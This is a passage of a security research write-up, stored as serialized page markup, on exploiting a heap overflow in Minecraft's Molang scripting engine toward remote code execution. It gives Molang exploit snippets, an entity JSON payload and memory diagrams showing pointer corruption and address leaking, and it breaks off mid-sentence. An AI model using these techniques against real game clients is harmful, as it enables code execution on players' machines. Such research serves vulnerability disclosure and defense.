\n",[152084],{"type":23,"tag":56,"props":152085,"children":152086},{"__ignoreMap":7},[152087],{"type":28,"value":152082},{"type":23,"tag":24,"props":152089,"children":152090},{},[152091,152093,152098,152100,152106,152108,152113,152114,152120,152121,152126,152128,152133,152135,152140,152142,152147,152149,152154,152156,152161,152163,152168,152170,152176,152178,152183,152185,152190],{"type":28,"value":152092},"In the scenario above, the ",{"type":23,"tag":56,"props":152094,"children":152096},{"className":152095},[],[152097],{"type":28,"value":151855},{"type":28,"value":152099}," would map ",{"type":23,"tag":56,"props":152101,"children":152103},{"className":152102},[],[152104],{"type":28,"value":152105},"variable.a",{"type":28,"value":152107}," -> index ",{"type":23,"tag":56,"props":152109,"children":152111},{"className":152110},[],[152112],{"type":28,"value":3001},{"type":28,"value":576},{"type":23,"tag":56,"props":152115,"children":152117},{"className":152116},[],[152118],{"type":28,"value":152119},"variable.b",{"type":28,"value":152107},{"type":23,"tag":56,"props":152122,"children":152124},{"className":152123},[],[152125],{"type":28,"value":2991},{"type":28,"value":152127},", and so on. If we overwrite the index for ",{"type":23,"tag":56,"props":152129,"children":152131},{"className":152130},[],[152132],{"type":28,"value":152105},{"type":28,"value":152134}," with a value that is out-of-bounds for the ",{"type":23,"tag":56,"props":152136,"children":152138},{"className":152137},[],[152139],{"type":28,"value":151679},{"type":28,"value":152141},", it can instead index the ",{"type":23,"tag":56,"props":152143,"children":152145},{"className":152144},[],[152146],{"type":28,"value":148875},{"type":28,"value":152148}," field of the entity object above. Reading ",{"type":23,"tag":56,"props":152150,"children":152152},{"className":152151},[],[152153],{"type":28,"value":152105},{"type":28,"value":152155}," will then return the pointer stored at offset ",{"type":23,"tag":56,"props":152157,"children":152159},{"className":152158},[],[152160],{"type":28,"value":151613},{"type":28,"value":152162}," from the start of the ",{"type":23,"tag":56,"props":152164,"children":152166},{"className":152165},[],[152167],{"type":28,"value":151679},{"type":28,"value":152169}," (which in this diagram corresponds to ",{"type":23,"tag":56,"props":152171,"children":152173},{"className":152172},[],[152174],{"type":28,"value":152175},"variable.f",{"type":28,"value":152177},"), and writing to ",{"type":23,"tag":56,"props":152179,"children":152181},{"className":152180},[],[152182],{"type":28,"value":152105},{"type":28,"value":152184}," will overwrite that pointer - corrupting ",{"type":23,"tag":56,"props":152186,"children":152188},{"className":152187},[],[152189],{"type":28,"value":152175},{"type":28,"value":320},{"type":23,"tag":24,"props":152192,"children":152193},{},[152194,152196,152201,152202,152208,152210,152215,152217,152223,152225,152230,152232,152237,152239,152245,152247,152253,152255,152260],{"type":28,"value":152195},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":56,"props":152197,"children":152199},{"className":152198},[],[152200],{"type":28,"value":152105},{"type":28,"value":801},{"type":23,"tag":56,"props":152203,"children":152205},{"className":152204},[],[152206],{"type":28,"value":152207},"variable.a += 8",{"type":28,"value":152209},"), which advances the pointer used for ",{"type":23,"tag":56,"props":152211,"children":152213},{"className":152212},[],[152214],{"type":28,"value":152175},{"type":28,"value":152216}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":56,"props":152218,"children":152220},{"className":152219},[],[152221],{"type":28,"value":152222},"variable.a = variable.exe_leak + \u003Coffset>",{"type":28,"value":152224}," - this updates the ",{"type":23,"tag":56,"props":152226,"children":152228},{"className":152227},[],[152229],{"type":28,"value":152175},{"type":28,"value":152231}," pointer to our chosen address, and writing to ",{"type":23,"tag":56,"props":152233,"children":152235},{"className":152234},[],[152236],{"type":28,"value":152175},{"type":28,"value":152238},", for example ",{"type":23,"tag":56,"props":152240,"children":152242},{"className":152241},[],[152243],{"type":28,"value":152244},"variable.f = 1337",{"type":28,"value":152246},", writes the value ",{"type":23,"tag":56,"props":152248,"children":152250},{"className":152249},[],[152251],{"type":28,"value":152252},"1337",{"type":28,"value":152254}," to offset ",{"type":23,"tag":56,"props":152256,"children":152258},{"className":152257},[],[152259],{"type":28,"value":151613},{"type":28,"value":152261}," from that calculated address.",{"type":23,"tag":17874,"props":152263,"children":152265},{"id":152264},"testing-the-idea",[152266],{"type":28,"value":152267},"Testing the Idea",{"type":23,"tag":24,"props":152269,"children":152270},{},[152271,152273,152278,152280,152285,152287,152292],{"type":28,"value":152272},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":56,"props":152274,"children":152276},{"className":152275},[],[152277],{"type":28,"value":151679},{"type":28,"value":152279}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":1887,"props":152281,"children":152282},{},[152283],{"type":28,"value":152284},"almost",{"type":28,"value":152286}," worked - below is the state of the ",{"type":23,"tag":56,"props":152288,"children":152290},{"className":152289},[],[152291],{"type":28,"value":151679},{"type":28,"value":152293},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":24,"props":152295,"children":152296},{},[152297],{"type":23,"tag":126,"props":152298,"children":152300},{"alt":128,"src":152299},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":24,"props":152302,"children":152303},{},[152304],{"type":28,"value":152305},"And this is after execution:",{"type":23,"tag":24,"props":152307,"children":152308},{},[152309],{"type":23,"tag":126,"props":152310,"children":152312},{"alt":128,"src":152311},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":24,"props":152314,"children":152315},{},[152316],{"type":28,"value":152317},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":494,"props":152319,"children":152321},{"code":152320,"language":32975,"meta":7,"className":32973,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[152322],{"type":23,"tag":56,"props":152323,"children":152324},{"__ignoreMap":7},[152325,152332,152353,152365,152377,152398,152405,152412,152419,152431,152444,152456,152468,152480,152496,152503,152515,152523,152531,152538,152545,152552],{"type":23,"tag":504,"props":152326,"children":152327},{"class":506,"line":507},[152328],{"type":23,"tag":504,"props":152329,"children":152330},{"style":523},[152331],{"type":28,"value":9862},{"type":23,"tag":504,"props":152333,"children":152334},{"class":506,"line":540},[152335,152340,152344,152349],{"type":23,"tag":504,"props":152336,"children":152337},{"style":529},[152338],{"type":28,"value":152339},"  \"format_version\"",{"type":23,"tag":504,"props":152341,"children":152342},{"style":523},[152343],{"type":28,"value":14311},{"type":23,"tag":504,"props":152345,"children":152346},{"style":622},[152347],{"type":28,"value":152348},"\"1.10.0\"",{"type":23,"tag":504,"props":152350,"children":152351},{"style":523},[152352],{"type":28,"value":2484},{"type":23,"tag":504,"props":152354,"children":152355},{"class":506,"line":555},[152356,152361],{"type":23,"tag":504,"props":152357,"children":152358},{"style":529},[152359],{"type":28,"value":152360},"  \"minecraft:client_entity\"",{"type":23,"tag":504,"props":152362,"children":152363},{"style":523},[152364],{"type":28,"value":35999},{"type":23,"tag":504,"props":152366,"children":152367},{"class":506,"line":633},[152368,152373],{"type":23,"tag":504,"props":152369,"children":152370},{"style":529},[152371],{"type":28,"value":152372},"    \"description\"",{"type":23,"tag":504,"props":152374,"children":152375},{"style":523},[152376],{"type":28,"value":35999},{"type":23,"tag":504,"props":152378,"children":152379},{"class":506,"line":687},[152380,152385,152389,152394],{"type":23,"tag":504,"props":152381,"children":152382},{"style":529},[152383],{"type":28,"value":152384},"      \"identifier\"",{"type":23,"tag":504,"props":152386,"children":152387},{"style":523},[152388],{"type":28,"value":14311},{"type":23,"tag":504,"props":152390,"children":152391},{"style":622},[152392],{"type":28,"value":152393},"\"minecraft:leash_knot\"",{"type":23,"tag":504,"props":152395,"children":152396},{"style":523},[152397],{"type":28,"value":2484},{"type":23,"tag":504,"props":152399,"children":152400},{"class":506,"line":736},[152401],{"type":23,"tag":504,"props":152402,"children":152403},{"emptyLinePlaceholder":16},[152404],{"type":28,"value":1038},{"type":23,"tag":504,"props":152406,"children":152407},{"class":506,"line":785},[152408],{"type":23,"tag":504,"props":152409,"children":152410},{"style":21388},[152411],{"type":28,"value":126192},{"type":23,"tag":504,"props":152413,"children":152414},{"class":506,"line":813},[152415],{"type":23,"tag":504,"props":152416,"children":152417},{"style":523},[152418],{"type":28,"value":151502},{"type":23,"tag":504,"props":152420,"children":152421},{"class":506,"line":851},[152422,152427],{"type":23,"tag":504,"props":152423,"children":152424},{"style":529},[152425],{"type":28,"value":152426},"      \"scripts\"",{"type":23,"tag":504,"props":152428,"children":152429},{"style":523},[152430],{"type":28,"value":35999},{"type":23,"tag":504,"props":152432,"children":152433},{"class":506,"line":869},[152434,152439],{"type":23,"tag":504,"props":152435,"children":152436},{"style":529},[152437],{"type":28,"value":152438},"        \"initialize\"",{"type":23,"tag":504,"props":152440,"children":152441},{"style":523},[152442],{"type":28,"value":152443},": [\n",{"type":23,"tag":504,"props":152445,"children":152446},{"class":506,"line":878},[152447,152452],{"type":23,"tag":504,"props":152448,"children":152449},{"style":622},[152450],{"type":28,"value":152451},"          \"variable.a = 0;\"",{"type":23,"tag":504,"props":152453,"children":152454},{"style":523},[152455],{"type":28,"value":2484},{"type":23,"tag":504,"props":152457,"children":152458},{"class":506,"line":1221},[152459,152464],{"type":23,"tag":504,"props":152460,"children":152461},{"style":622},[152462],{"type":28,"value":152463},"          \"variable.b = 0;\"",{"type":23,"tag":504,"props":152465,"children":152466},{"style":523},[152467],{"type":28,"value":2484},{"type":23,"tag":504,"props":152469,"children":152470},{"class":506,"line":1276},[152471,152476],{"type":23,"tag":504,"props":152472,"children":152473},{"style":622},[152474],{"type":28,"value":152475},"          \"variable.c = 0;\"",{"type":23,"tag":504,"props":152477,"children":152478},{"style":523},[152479],{"type":28,"value":2484},{"type":23,"tag":504,"props":152481,"children":152482},{"class":506,"line":1285},[152483,152488,152492],{"type":23,"tag":504,"props":152484,"children":152485},{"style":523},[152486],{"type":28,"value":152487},"          [",{"type":23,"tag":504,"props":152489,"children":152490},{"style":21388},[152491],{"type":28,"value":8572},{"type":23,"tag":504,"props":152493,"children":152494},{"style":523},[152495],{"type":28,"value":10754},{"type":23,"tag":504,"props":152497,"children":152498},{"class":506,"line":1294},[152499],{"type":23,"tag":504,"props":152500,"children":152501},{"style":523},[152502],{"type":28,"value":42625},{"type":23,"tag":504,"props":152504,"children":152505},{"class":506,"line":1302},[152506,152511],{"type":23,"tag":504,"props":152507,"children":152508},{"style":529},[152509],{"type":28,"value":152510},"        \"pre_animation\"",{"type":23,"tag":504,"props":152512,"children":152513},{"style":523},[152514],{"type":28,"value":152443},{"type":23,"tag":504,"props":152516,"children":152517},{"class":506,"line":1311},[152518],{"type":23,"tag":504,"props":152519,"children":152520},{"style":622},[152521],{"type":28,"value":152522},"          \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":504,"props":152524,"children":152525},{"class":506,"line":1334},[152526],{"type":23,"tag":504,"props":152527,"children":152528},{"style":523},[152529],{"type":28,"value":152530},"        ]\n",{"type":23,"tag":504,"props":152532,"children":152533},{"class":506,"line":1370},[152534],{"type":23,"tag":504,"props":152535,"children":152536},{"style":523},[152537],{"type":28,"value":36176},{"type":23,"tag":504,"props":152539,"children":152540},{"class":506,"line":1384},[152541],{"type":23,"tag":504,"props":152542,"children":152543},{"style":523},[152544],{"type":28,"value":875},{"type":23,"tag":504,"props":152546,"children":152547},{"class":506,"line":1392},[152548],{"type":23,"tag":504,"props":152549,"children":152550},{"style":523},[152551],{"type":28,"value":4855},{"type":23,"tag":504,"props":152553,"children":152554},{"class":506,"line":1400},[152555],{"type":23,"tag":504,"props":152556,"children":152557},{"style":523},[152558],{"type":28,"value":884},{"type":23,"tag":24,"props":152560,"children":152561},{},[152562,152564,152569,152571,152576,152578,152583],{"type":28,"value":152563},"As shown, the pointer of a variable at offset ",{"type":23,"tag":56,"props":152565,"children":152567},{"className":152566},[],[152568],{"type":28,"value":151613},{"type":28,"value":152570}," was modified and the core concept works. During ",{"type":23,"tag":56,"props":152572,"children":152574},{"className":152573},[],[152575],{"type":28,"value":151571},{"type":28,"value":152577}," copy, pointers of some other variables above offset ",{"type":23,"tag":56,"props":152579,"children":152581},{"className":152580},[],[152582],{"type":28,"value":151613},{"type":28,"value":152584}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":24,"props":152586,"children":152587},{},[152588],{"type":28,"value":152589},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":350,"props":152591,"children":152592},{},[152593,152606],{"type":23,"tag":45,"props":152594,"children":152595},{},[152596,152598,152604],{"type":28,"value":152597},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":56,"props":152599,"children":152601},{"className":152600},[],[152602],{"type":28,"value":152603},"FLT_MAX",{"type":28,"value":152605},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":45,"props":152607,"children":152608},{},[152609,152611,152616,152618,152623,152624,152629,152631,152636],{"type":28,"value":152610},"As noted before, during assignment, ",{"type":23,"tag":56,"props":152612,"children":152614},{"className":152613},[],[152615],{"type":28,"value":151571},{"type":28,"value":152617}," fields are copied, and the ",{"type":23,"tag":56,"props":152619,"children":152621},{"className":152620},[],[152622],{"type":28,"value":38128},{"type":28,"value":151661},{"type":23,"tag":56,"props":152625,"children":152627},{"className":152626},[],[152628],{"type":28,"value":54613},{"type":28,"value":152630},". Since our source ",{"type":23,"tag":56,"props":152632,"children":152634},{"className":152633},[],[152635],{"type":28,"value":151571},{"type":28,"value":152637}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":24,"props":152639,"children":152640},{},[152641],{"type":28,"value":152642},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":17874,"props":152644,"children":152646},{"id":152645},"expanding-the-idea",[152647],{"type":28,"value":152648},"Expanding the Idea",{"type":23,"tag":24,"props":152650,"children":152651},{},[152652,152654,152659,152661,152666,152667,152672,152674,152679],{"type":28,"value":152653},"As mentioned earlier, the ",{"type":23,"tag":56,"props":152655,"children":152657},{"className":152656},[],[152658],{"type":28,"value":31734},{"type":28,"value":152660}," field of ",{"type":23,"tag":56,"props":152662,"children":152664},{"className":152663},[],[152665],{"type":28,"value":151571},{"type":28,"value":14424},{"type":23,"tag":56,"props":152668,"children":152670},{"className":152669},[],[152671],{"type":28,"value":56912},{"type":28,"value":152673},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":56,"props":152675,"children":152677},{"className":152676},[],[152678],{"type":28,"value":38128},{"type":28,"value":152680}," field remain unchanged before and after Molang execution.",{"type":23,"tag":24,"props":152682,"children":152683},{},[152684,152686,152691],{"type":28,"value":152685},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":56,"props":152687,"children":152689},{"className":152688},[],[152690],{"type":28,"value":151679},{"type":28,"value":152692},"’s allocated buffer + 4.",{"type":23,"tag":24,"props":152694,"children":152695},{},[152696,152698,152703,152705,152710,152712,152717,152718,152724],{"type":28,"value":152697},"In the example below, ",{"type":23,"tag":56,"props":152699,"children":152701},{"className":152700},[],[152702],{"type":28,"value":152105},{"type":28,"value":152704}," points to ",{"type":23,"tag":56,"props":152706,"children":152708},{"className":152707},[],[152709],{"type":28,"value":151679},{"type":28,"value":152711},", while ",{"type":23,"tag":56,"props":152713,"children":152715},{"className":152714},[],[152716],{"type":28,"value":152119},{"type":28,"value":152704},{"type":23,"tag":56,"props":152719,"children":152721},{"className":152720},[],[152722],{"type":28,"value":152723},"MolangVariableMap + 4",{"type":28,"value":3472},{"type":23,"tag":494,"props":152726,"children":152728},{"code":152727},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[152729],{"type":23,"tag":56,"props":152730,"children":152731},{"__ignoreMap":7},[152732],{"type":28,"value":152727},{"type":23,"tag":24,"props":152734,"children":152735},{},[152736,152738,152743,152744,152749,152751,152756,152758,152763,152765,152770],{"type":28,"value":152737},"Here, the ",{"type":23,"tag":56,"props":152739,"children":152741},{"className":152740},[],[152742],{"type":28,"value":38128},{"type":28,"value":152660},{"type":23,"tag":56,"props":152745,"children":152747},{"className":152746},[],[152748],{"type":28,"value":152105},{"type":28,"value":152750}," starts at the lower 32 bits of the ",{"type":23,"tag":56,"props":152752,"children":152754},{"className":152753},[],[152755],{"type":28,"value":152175},{"type":28,"value":152757}," pointer, while ",{"type":23,"tag":56,"props":152759,"children":152761},{"className":152760},[],[152762],{"type":28,"value":152119},{"type":28,"value":152764}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":56,"props":152766,"children":152768},{"className":152767},[],[152769],{"type":28,"value":152175},{"type":28,"value":152771}," pointer in a separate variable:",{"type":23,"tag":494,"props":152773,"children":152775},{"code":152774},"variable.saved_upper_32 = variable.b;\n",[152776],{"type":23,"tag":56,"props":152777,"children":152778},{"__ignoreMap":7},[152779],{"type":28,"value":152774},{"type":23,"tag":24,"props":152781,"children":152782},{},[152783],{"type":28,"value":152784},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":494,"props":152786,"children":152788},{"code":152787},"variable.a = variable.a + itof(0x8);\n",[152789],{"type":23,"tag":56,"props":152790,"children":152791},{"__ignoreMap":7},[152792],{"type":28,"value":152787},{"type":23,"tag":24,"props":152794,"children":152795},{},[152796],{"type":28,"value":152797},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":494,"props":152799,"children":152801},{"code":152800},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[152802],{"type":23,"tag":56,"props":152803,"children":152804},{"__ignoreMap":7},[152805],{"type":28,"value":152800},{"type":23,"tag":24,"props":152807,"children":152808},{},[152809,152811,152816],{"type":28,"value":152810},"Since the 32 bits directly below the ",{"type":23,"tag":56,"props":152812,"children":152814},{"className":152813},[],[152815],{"type":28,"value":38128},{"type":28,"value":152817}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":494,"props":152819,"children":152821},{"code":152820},"variable.b = variable.saved_upper_32;\n",[152822],{"type":23,"tag":56,"props":152823,"children":152824},{"__ignoreMap":7},[152825],{"type":28,"value":152820},{"type":23,"tag":24,"props":152827,"children":152828},{},[152829,152831,152836],{"type":28,"value":152830},"Now ",{"type":23,"tag":56,"props":152832,"children":152834},{"className":152833},[],[152835],{"type":28,"value":152175},{"type":28,"value":152837}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":494,"props":152839,"children":152841},{"code":152840},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[152842],{"type":23,"tag":56,"props":152843,"children":152844},{"__ignoreMap":7},[152845],{"type":28,"value":152840},{"type":23,"tag":24,"props":152847,"children":152848},{},[152849,152851,152856],{"type":28,"value":152850},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":56,"props":152852,"children":152854},{"className":152853},[],[152855],{"type":28,"value":152723},{"type":28,"value":152857}," on the heap?",{"type":23,"tag":24,"props":152859,"children":152860},{},[152861,152863,152868,152870,152876],{"type":28,"value":152862},"Additionally, adding 8 to ",{"type":23,"tag":56,"props":152864,"children":152866},{"className":152865},[],[152867],{"type":28,"value":152105},{"type":28,"value":152869}," in the example above wouldn’t work because ",{"type":23,"tag":56,"props":152871,"children":152873},{"className":152872},[],[152874],{"type":28,"value":152875},"0xddccbba0",{"type":28,"value":152877}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":17874,"props":152879,"children":152881},{"id":152880},"the-final-approach",[152882],{"type":28,"value":152883},"The Final Approach",{"type":23,"tag":24,"props":152885,"children":152886},{},[152887,152889,152894,152896,152902],{"type":28,"value":152888},"We realized that instead of having the second pointer at ",{"type":23,"tag":56,"props":152890,"children":152892},{"className":152891},[],[152893],{"type":28,"value":152723},{"type":28,"value":152895},", we could instead have it at ",{"type":23,"tag":56,"props":152897,"children":152899},{"className":152898},[],[152900],{"type":28,"value":152901},"MolangVariableMap + 2",{"type":28,"value":152903},", which would resolve both of our issues.",{"type":23,"tag":24,"props":152905,"children":152906},{},[152907,152909,152914,152915,152920],{"type":28,"value":152908},"Let’s revisit the previous example, but this time ",{"type":23,"tag":56,"props":152910,"children":152912},{"className":152911},[],[152913],{"type":28,"value":152119},{"type":28,"value":152704},{"type":23,"tag":56,"props":152916,"children":152918},{"className":152917},[],[152919],{"type":28,"value":152901},{"type":28,"value":3472},{"type":23,"tag":494,"props":152922,"children":152924},{"code":152923},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[152925],{"type":23,"tag":56,"props":152926,"children":152927},{"__ignoreMap":7},[152928],{"type":28,"value":152923},{"type":23,"tag":24,"props":152930,"children":152931},{},[152932,152934,152939],{"type":28,"value":152933},"With this setup, we can calculate any address relative to ",{"type":23,"tag":56,"props":152935,"children":152937},{"className":152936},[],[152938],{"type":28,"value":152175},{"type":28,"value":152940}," by first saving the upper 48 bits of the address:",{"type":23,"tag":494,"props":152942,"children":152944},{"code":152943},"variable.saved_upper_48 = variable.b;\n",[152945],{"type":23,"tag":56,"props":152946,"children":152947},{"__ignoreMap":7},[152948],{"type":28,"value":152943},{"type":23,"tag":24,"props":152950,"children":152951},{},[152952,152953,152959,152961,152967],{"type":28,"value":128581},{"type":23,"tag":56,"props":152954,"children":152956},{"className":152955},[],[152957],{"type":28,"value":152958},"variable.saved_upper_48",{"type":28,"value":152960}," holds the value ",{"type":23,"tag":56,"props":152962,"children":152964},{"className":152963},[],[152965],{"type":28,"value":152966},"0x1c80ddcc",{"type":28,"value":320},{"type":23,"tag":24,"props":152969,"children":152970},{},[152971],{"type":28,"value":152972},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":494,"props":152974,"children":152976},{"code":152975},"variable.b = 0;\n",[152977],{"type":23,"tag":56,"props":152978,"children":152979},{"__ignoreMap":7},[152980],{"type":28,"value":152975},{"type":23,"tag":24,"props":152982,"children":152983},{},[152984],{"type":28,"value":152985},"Resulting in the following state:",{"type":23,"tag":494,"props":152987,"children":152989},{"code":152988},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[152990],{"type":23,"tag":56,"props":152991,"children":152992},{"__ignoreMap":7},[152993],{"type":28,"value":152988},{"type":23,"tag":24,"props":152995,"children":152996},{},[152997,152999,153004,153006,153012,153014,153019],{"type":28,"value":152998},"Now, the value of ",{"type":23,"tag":56,"props":153000,"children":153002},{"className":153001},[],[153003],{"type":28,"value":152105},{"type":28,"value":153005}," only spans 16 bits (",{"type":23,"tag":56,"props":153007,"children":153009},{"className":153008},[],[153010],{"type":28,"value":153011},"0xbba0",{"type":28,"value":153013}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":56,"props":153015,"children":153017},{"className":153016},[],[153018],{"type":28,"value":152603},{"type":28,"value":320},{"type":23,"tag":24,"props":153021,"children":153022},{},[153023,153025,153030],{"type":28,"value":153024},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":56,"props":153026,"children":153028},{"className":153027},[],[153029],{"type":28,"value":152105},{"type":28,"value":3472},{"type":23,"tag":494,"props":153032,"children":153033},{"code":152787},[153034],{"type":23,"tag":56,"props":153035,"children":153036},{"__ignoreMap":7},[153037],{"type":28,"value":152787},{"type":23,"tag":24,"props":153039,"children":153040},{},[153041],{"type":28,"value":153042},"Which results in:",{"type":23,"tag":494,"props":153044,"children":153046},{"code":153045},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[153047],{"type":23,"tag":56,"props":153048,"children":153049},{"__ignoreMap":7},[153050],{"type":28,"value":153045},{"type":23,"tag":24,"props":153052,"children":153053},{},[153054],{"type":28,"value":153055},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":494,"props":153057,"children":153059},{"code":153058},"variable.b = variable.saved_upper_48;\n",[153060],{"type":23,"tag":56,"props":153061,"children":153062},{"__ignoreMap":7},[153063],{"type":28,"value":153058},{"type":23,"tag":24,"props":153065,"children":153066},{},[153067],{"type":28,"value":153068},"Yielding a valid pointer again:",{"type":23,"tag":494,"props":153070,"children":153072},{"code":153071},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[153073],{"type":23,"tag":56,"props":153074,"children":153075},{"__ignoreMap":7},[153076],{"type":28,"value":153071},{"type":23,"tag":24,"props":153078,"children":153079},{},[153080],{"type":28,"value":153081},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":494,"props":153083,"children":153085},{"code":153084},"variable.saved_adjusted_lower_16 = variable.a;\n",[153086],{"type":23,"tag":56,"props":153087,"children":153088},{"__ignoreMap":7},[153089],{"type":28,"value":153084},{"type":23,"tag":24,"props":153091,"children":153092},{},[153093],{"type":28,"value":153094},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":494,"props":153096,"children":153098},{"code":153097},"variable.a = variable.saved_upper_48;\n",[153099],{"type":23,"tag":56,"props":153100,"children":153101},{"__ignoreMap":7},[153102],{"type":28,"value":153097},{"type":23,"tag":24,"props":153104,"children":153105},{},[153106],{"type":28,"value":153107},"This produces the following state:",{"type":23,"tag":494,"props":153109,"children":153111},{"code":153110},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[153112],{"type":23,"tag":56,"props":153113,"children":153114},{"__ignoreMap":7},[153115],{"type":28,"value":153110},{"type":23,"tag":24,"props":153117,"children":153118},{},[153119,153121,153126,153128,153134,153136,153142,153144,153149,153151,153156],{"type":28,"value":153120},"As shown, ",{"type":23,"tag":56,"props":153122,"children":153124},{"className":153123},[],[153125],{"type":28,"value":152119},{"type":28,"value":153127}," now contains the upper 16 bits of the address (",{"type":23,"tag":56,"props":153129,"children":153131},{"className":153130},[],[153132],{"type":28,"value":153133},"0x1c80",{"type":28,"value":153135},"), which we can store as ",{"type":23,"tag":56,"props":153137,"children":153139},{"className":153138},[],[153140],{"type":28,"value":153141},"variable.saved_upper_16 = variable.b",{"type":28,"value":153143},". Meanwhile, ",{"type":23,"tag":56,"props":153145,"children":153147},{"className":153146},[],[153148],{"type":28,"value":152105},{"type":28,"value":153150}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":56,"props":153152,"children":153154},{"className":153153},[],[153155],{"type":28,"value":152119},{"type":28,"value":3472},{"type":23,"tag":494,"props":153158,"children":153159},{"code":152975},[153160],{"type":23,"tag":56,"props":153161,"children":153162},{"__ignoreMap":7},[153163],{"type":28,"value":152975},{"type":23,"tag":24,"props":153165,"children":153166},{},[153167],{"type":28,"value":153168},"Leaving us with:",{"type":23,"tag":494,"props":153170,"children":153172},{"code":153171},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[153173],{"type":23,"tag":56,"props":153174,"children":153175},{"__ignoreMap":7},[153176],{"type":28,"value":153171},{"type":23,"tag":24,"props":153178,"children":153179},{},[153180],{"type":28,"value":153181},"We can now save the middle 16 bits:",{"type":23,"tag":494,"props":153183,"children":153185},{"code":153184},"variable.saved_middle_16 = 